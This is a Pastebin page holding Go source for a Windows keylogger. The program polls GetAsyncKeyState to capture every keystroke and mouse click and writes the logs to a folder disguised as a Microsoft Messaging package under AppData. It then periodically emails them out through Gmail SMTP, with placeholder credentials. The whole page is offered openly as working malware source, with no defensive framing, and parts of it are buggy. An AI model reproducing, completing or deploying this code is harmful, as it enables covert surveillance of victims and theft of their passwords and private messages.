Advertisement
DoubleA_W

Untitled

Mar 20th, 2017
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 5.18 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "bytes"
  5.     "flag"
  6.     "fmt"
  7.     "log"
  8.     "os"
  9.     "os/user"
  10.     "strconv"
  11.     "strings"
  12.     "syscall"
  13.     "time"
  14.  
  15.     "gopkg.in/gomail.v2"
  16. )
  17.  
  18. func getAppData() string {
  19.     usr, err := user.Current()
  20.     if err != nil {
  21.         log.Fatal(err)
  22.     }
  23.     app := usr.HomeDir + "\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe"
  24.     return app
  25. }
  26.  
  27. var (
  28.     dll, _    = syscall.LoadDLL("user32.dll")
  29.     proc, _   = dll.FindProc("GetAsyncKeyState")
  30.     interval  = flag.Int("interval", 16, "a time value elapses each frame in millisecond")
  31.     directory = flag.String("directory", getAppData(), "path/to/dir to save key log")
  32. )
  33.  
  34. func isExist(filename string) bool {
  35.     _, err := os.Stat(filename)
  36.     return err == nil
  37. }
  38.  
  39. func ReplaceToStr(s *string, i int) {
  40.     switch i {
  41.     case 0x01:
  42.         *s += "**lMouseDown**"
  43.     case 0x02:
  44.         *s += "**lMouseUp**"
  45.     case 0x04:
  46.         *s += "**rMouseUp**"
  47.     case 0x08:
  48.         *s += "**backSpace**"
  49.     case 0x09:
  50.         *s += "**tab**"
  51.     case 0x0d:
  52.         *s += "**enter**"
  53.     case 0x11:
  54.         *s += "**controlDown**"
  55.     case 0x12:
  56.         *s += "**altDown**"
  57.     case 0x14:
  58.         *s += "**caps**"
  59.     case 0x20:
  60.         *s += " "
  61.     case 0x25:
  62.         *s += "**left**"
  63.     case 0x26:
  64.         *s += "**up**"
  65.     case 0x27:
  66.         *s += "**right**"
  67.     case 0x28:
  68.         *s += "**down**"
  69.     case 0x2e:
  70.         *s += "**del**"
  71.     case 0x6a:
  72.         *s += "* "
  73.     case 0x6b:
  74.         *s += "+ "
  75.     case 0x6d:
  76.         *s += "- "
  77.     case 0x6e:
  78.         *s += ". "
  79.     case 0x6f:
  80.         *s += "/ "
  81.     case 0xa0:
  82.         *s += "**lshiftDown**"
  83.     case 0xa1:
  84.         *s += "**lshiftUp**"
  85.     case 0xba:
  86.         *s += ": "
  87.     case 0xbb:
  88.         *s += "; "
  89.     case 0xbc:
  90.         *s += ", "
  91.     case 0xbd:
  92.         *s += "- "
  93.     case 0xbe:
  94.         *s += ". "
  95.     case 0xbf:
  96.         *s += "/ "
  97.     case 0xc0:
  98.         *s += "@ "
  99.     case 0xdb:
  100.         *s += "[ "
  101.     case 0xdc:
  102.         *s += "| "
  103.     case 0xdd:
  104.         *s += "] "
  105.     case 0xde:
  106.         *s += "^ "
  107.     case 0xe2:
  108.         *s += "back-slash "
  109.     default:
  110.         *s += fmt.Sprintf("%02x ", i)
  111.     }
  112. }
  113.  
  114. func GetKeyState(inputs []int) {
  115.     // get current input
  116.     for i := 1; i < 256; i++ {
  117.         a, _, _ := proc.Call(uintptr(i))
  118.         if a&0x8000 == 0 {
  119.             continue
  120.         }
  121.         // num lock
  122.         if i == 0xf4 || i == 0xf3 {
  123.             continue
  124.         }
  125.         // mouse
  126.         if i == 0x05 || i == 0x06 {
  127.             continue
  128.         }
  129.         // shift
  130.         if i == 0x10 {
  131.             continue
  132.         }
  133.         inputs[i] = 1
  134.     }
  135. }
  136.  
  137. func mail(file string) {
  138.     m := gomail.NewMessage()
  139.     m.SetHeader("From", "")
  140.     m.SetHeader("To", "")
  141.     m.SetAddressHeader("Cc", "", "")
  142.     m.SetHeader("Subject", "")
  143.     m.SetBody("")
  144.     m.Attach("")
  145.  
  146.     d := gomail.NewDialer("smtp.gmail.com", 587, "user", "pass")
  147.  
  148.     if err := d.DialAndSend(m); err != nil {
  149.         panic(err)
  150.     }
  151. }
  152.  
  153. func CheckPressed(s *string, inputs, prev []int) {
  154.     // check all keys
  155.     for i := 1; i < 256; i++ {
  156.         // released
  157.         if inputs[i] == 0 && prev[i] == 1 {
  158.             switch i {
  159.             case 0x01:
  160.                 *s += "**leftMouseUp**"
  161.             case 0x02:
  162.                 *s += "**rightMouseUp**"
  163.             case 0x04:
  164.                 *s += "**midMouseUp**"
  165.             case 0x11:
  166.                 *s += "**ctrlUp**"
  167.             case 0x12:
  168.                 *s += "**altUp**"
  169.             case 0xa0:
  170.                 *s += "**lshiftUp**"
  171.             case 0xa1:
  172.                 *s += "**rshiftUp**"
  173.             }
  174.             continue
  175.         } else if inputs[i] == 0 && prev[i] == 0 {
  176.             // not pushed
  177.             continue
  178.         } else if inputs[i] == 1 && prev[i] == 1 {
  179.             // now pressing
  180.             continue
  181.         }
  182.         // character
  183.         if 'A' <= i && i <= 'Z' {
  184.             *s += fmt.Sprintf("%c", i)
  185.             continue
  186.         }
  187.         // number
  188.         if '0' <= i && i <= '9' {
  189.             *s += fmt.Sprintf("%d", i-0x30)
  190.             continue
  191.         }
  192.         ReplaceToStr(s, i)
  193.     }
  194. }
  195.  
  196. func LoggingLoop(file string) {
  197.     var start, end time.Time
  198.     inputs := make([]int, 256)
  199.     prev := make([]int, 256)
  200.     s := ""
  201.     var buffer bytes.Buffer
  202.     begin := time.Now()
  203.     for {
  204.  
  205.         start = time.Now()
  206.         s = ""
  207.         GetKeyState(inputs)
  208.         CheckPressed(&s, inputs, prev)
  209.         if len(buffer.String()) <= 120 {
  210.             buffer.WriteString(s)
  211.         } else {
  212.             buffer.WriteString("\n")
  213.             log.Printf(buffer.String())
  214.             buffer.Reset()
  215.         }
  216.         f, err := os.Open(file)
  217.         if err != nil {
  218.             log.Fatal(err)
  219.         }
  220.  
  221.         fi, err := f.Stat()
  222.         if err != nil {
  223.             log.Fatal(err)
  224.         }
  225.         fmt.Println(fi.Size())
  226.         fmt.Println(len(buffer.String()))
  227.         ending := time.Now()
  228.         duration := ending.Sub(begin)
  229.         if fi.Size() > 1200 || duration.Minutes() > 5 {
  230.             fmt.Println(duration.Minutes())
  231.             mail(file)
  232.             f.Close()
  233.  
  234.             main()
  235.             begin = time.Now()
  236.         }
  237.  
  238.         prev = inputs
  239.         inputs = make([]int, 256)
  240.         end = time.Now()
  241.         remain := (time.Millisecond * (time.Duration)(*interval)) - end.Sub(start)
  242.         if remain > 0 {
  243.             time.Sleep(remain)
  244.  
  245.         }
  246.     }
  247. }
  248.  
  249. func main() {
  250.  
  251.     defer dll.Release()
  252.  
  253.     flag.Parse()
  254.     // create directory path
  255.     dir := strings.Replace(*directory, "\\", "/", -1)
  256.     if !strings.HasSuffix(dir, "/") {
  257.         if dir == "" {
  258.             dir = "./"
  259.         } else {
  260.             dir += "/"
  261.         }
  262.     }
  263.     // create directory if not exist
  264.     if !isExist(dir) {
  265.         err := os.MkdirAll(dir, 0777)
  266.         if err != nil {
  267.             log.Fatal("cannot create directory")
  268.         }
  269.     }
  270.     // search cuurent log number
  271.     number := 0
  272.     for isExist(dir + strconv.Itoa(number) + ".log") {
  273.         number++
  274.     }
  275.     // set output log file
  276.     fp, err := os.OpenFile(dir+strconv.Itoa(number)+".log", os.O_WRONLY|os.O_CREATE, 0777)
  277.     if err != nil {
  278.         log.Fatal("error opening file :", err.Error())
  279.     }
  280.     defer fp.Close()
  281.     log.SetOutput(fp)
  282.     // enter main loop
  283.     LoggingLoop(dir + strconv.Itoa(number) + ".log")
  284.  
  285. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement